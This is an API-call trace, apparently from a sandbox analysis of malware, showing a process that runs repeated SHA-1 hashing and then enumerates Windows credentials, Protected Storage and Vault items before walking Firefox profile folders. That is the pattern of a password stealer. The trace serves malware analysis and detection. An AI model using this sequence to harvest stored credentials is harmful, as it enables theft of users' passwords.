	[0099.300] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.300] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x62, dwFlags=0x0) returned 1
	[0099.300] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.300] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.300] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.300] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x64, dwFlags=0x0) returned 1
	[0099.300] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.300] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.301] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.301] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7e, dwFlags=0x0) returned 1
	[0099.301] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.301] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.301] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.301] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x80, dwFlags=0x0) returned 1
	[0099.301] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.301] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.301] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.301] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb4, dwFlags=0x0) returned 1
	[0099.302] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.302] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.302] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.302] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb6, dwFlags=0x0) returned 1
	[0099.302] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.302] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.302] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.302] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xde, dwFlags=0x0) returned 1
	[0099.302] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.302] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.303] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.303] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xe0, dwFlags=0x0) returned 1
	[0099.303] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.303] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.303] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.303] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.303] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.303] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.303] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.304] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7c, dwFlags=0x0) returned 1
	[0099.304] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.304] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.304] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.304] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.304] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.304] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.304] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.304] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.304] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.305] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.305] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.305] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xce, dwFlags=0x0) returned 1
	[0099.305] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.305] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.305] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.305] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xd0, dwFlags=0x0) returned 1
	[0099.305] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.305] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.305] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.306] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xae, dwFlags=0x0) returned 1
	[0099.306] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.306] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.306] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.306] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb0, dwFlags=0x0) returned 1
	[0099.306] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.306] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.306] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.306] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7c, dwFlags=0x0) returned 1
	[0099.306] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.307] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.307] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.307] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7e, dwFlags=0x0) returned 1
	[0099.307] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.307] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.307] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.307] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8c, dwFlags=0x0) returned 1
	[0099.307] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.307] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.307] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.308] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8e, dwFlags=0x0) returned 1
	[0099.308] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.308] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.308] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.308] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x86, dwFlags=0x0) returned 1
	[0099.308] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.308] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.308] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.308] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x88, dwFlags=0x0) returned 1
	[0099.308] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.309] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.309] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.309] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc2, dwFlags=0x0) returned 1
	[0099.309] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.309] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.309] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.309] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc4, dwFlags=0x0) returned 1
	[0099.309] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.309] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.310] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.310] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x88, dwFlags=0x0) returned 1
	[0099.310] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.310] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.310] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.310] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8a, dwFlags=0x0) returned 1
	[0099.310] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.310] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.310] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.310] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7e, dwFlags=0x0) returned 1
	[0099.310] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.311] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.311] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.311] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x80, dwFlags=0x0) returned 1
	[0099.311] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.311] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.311] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.311] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.311] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.311] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.312] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.312] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.312] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.312] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.312] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.312] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x5e, dwFlags=0x0) returned 1
	[0099.312] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.312] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.312] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.312] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x60, dwFlags=0x0) returned 1
	[0099.313] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.313] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.313] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.313] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc0, dwFlags=0x0) returned 1
	[0099.313] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.313] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.314] CryptReleaseContext (hProv=0x60f7d8, dwFlags=0x0) returned 1
	[0099.314] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x759d0000
	[0099.314] GetProcAddress (hModule=0x759d0000, lpProcName="CredReadA") returned 0x75a171c1
	[0099.314] GetProcAddress (hModule=0x759d0000, lpProcName="CredFree") returned 0x759db2ec
	[0099.314] GetProcAddress (hModule=0x759d0000, lpProcName="CredDeleteA") returned 0x75a17941
	[0099.314] GetProcAddress (hModule=0x759d0000, lpProcName="CredEnumerateA") returned 0x75a17381
	[0099.314] GetProcAddress (hModule=0x759d0000, lpProcName="CredEnumerateW") returned 0x75a17481
	[0099.314] CredEnumerateW (in: Filter=0x0, Flags=0x0, Count=0x18c0fc, Credential=0x18c100 | out: Count=0x18c0fc, Credential=0x18c100) returned 0
	[0099.371] FreeLibrary (hLibModule=0x759d0000) returned 1
	[0099.371] LoadLibraryW (lpLibFileName="pstorec.dll") returned 0x73b80000
	[0099.374] GetProcAddress (hModule=0x73b80000, lpProcName="PStoreCreateInstance") returned 0x73b8526c
	[0099.374] PStoreCreateInstance () returned 0x0
	[0099.376] FreeLibrary (hLibModule=0x73b80000) returned 1
	[0099.377] LoadLibraryW (lpLibFileName="vaultcli.dll") returned 0x73ba0000
	[0099.559] GetProcAddress (hModule=0x73ba0000, lpProcName="VaultOpenVault") returned 0x73ba26a9
	[0099.559] GetProcAddress (hModule=0x73ba0000, lpProcName="VaultCloseVault") returned 0x73ba2718
	[0099.559] GetProcAddress (hModule=0x73ba0000, lpProcName="VaultEnumerateItems") returned 0x73ba3099
	[0099.559] GetProcAddress (hModule=0x73ba0000, lpProcName="VaultFree") returned 0x73ba4321
	[0099.559] GetProcAddress (hModule=0x73ba0000, lpProcName="VaultGetInformation") returned 0x73ba24c0
	[0099.559] GetProcAddress (hModule=0x73ba0000, lpProcName="VaultGetItem") returned 0x73ba3242
	[0099.559] GetProcAddress (hModule=0x73ba0000, lpProcName="VaultGetItem") returned 0x73ba3242
	[0099.559] VaultOpenVault () returned 0x0
	[0100.165] VaultEnumerateItems () returned 0x0
	[0100.165] VaultFree () returned 0x73ba4321
	[0100.165] VaultCloseVault () returned 0x6
	[0100.167] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18ba54, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1
	[0100.168] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0100.168] wcscat (in: _Dest=0x18ba54, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0100.168] wcscat (in: _Dest=0x18ba54, _Source="Mozilla\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles"
	[0100.168] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18bc60, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1
	[0100.168] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0100.168] wcscat (in: _Dest=0x18bc60, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0100.168] wcscat (in: _Dest=0x18bc60, _Source="Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.168] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned 0x32
	[0100.168] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned 0x32
	[0100.168] wcslen (_String="*.*") returned 0x3
	[0100.168] wcscpy (in: _Dest=0x18b04c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles"
	[0100.168] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned 0x32
	[0100.168] wcscat (in: _Dest=0x18b04c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\"
	[0100.168] wcscat (in: _Dest=0x18b04c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\*.*"
	[0100.168] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\*.*", lpFindFileData=0x18b2d4 | out: lpFindFileData=0x18b2d4) returned 0xffffffff
	[0100.169] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.169] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.169] wcslen (_String="*.*") returned 0x3
	[0100.169] wcscpy (in: _Dest=0x18b04c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.169] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.169] wcscat (in: _Dest=0x18b04c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
	[0100.169] wcscat (in: _Dest=0x18b04c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*"
	[0100.169] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18b2d4 | out: lpFindFileData=0x18b2d4) returned 0x616d40
	[0100.170] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.170] wcslen (_String=".") returned 0x1
	[0100.170] wcscpy (in: _Dest=0x18b524, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.170] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.170] wcscat (in: _Dest=0x18b524, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
	[0100.170] wcscat (in: _Dest=0x18b524, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\."
	[0100.170] wcscmp (_String1=".", _String2="..") returned -1
	[0100.170] wcscmp (_String1=".", _String2=".") returned 0
	[0100.170] FindNextFileW (in: hFindFile=0x616d40, lpFindFileData=0x18b2d4 | out: lpFindFileData=0x18b2d4) returned 1
	[0100.171] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.171] wcslen (_String="..") returned 0x2
	[0100.171] wcscpy (in: _Dest=0x18b524, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.171] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.171] wcscat (in: _Dest=0x18b524, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
	[0100.171] wcscat (in: _Dest=0x18b524, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.."
	[0100.171] wcscmp (_String1="..", _String2="..") returned 0
	[0100.171] FindNextFileW (in: hFindFile=0x616d40, lpFindFileData=0x18b2d4 | out: lpFindFileData=0x18b2d4) returned 1
	[0100.171] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
	[0100.171] wcslen (_String="3y2joh8o.default") returned 0x10
	[0100.171] wcscpy (in: _Dest=0x18b524, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0100.171] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a
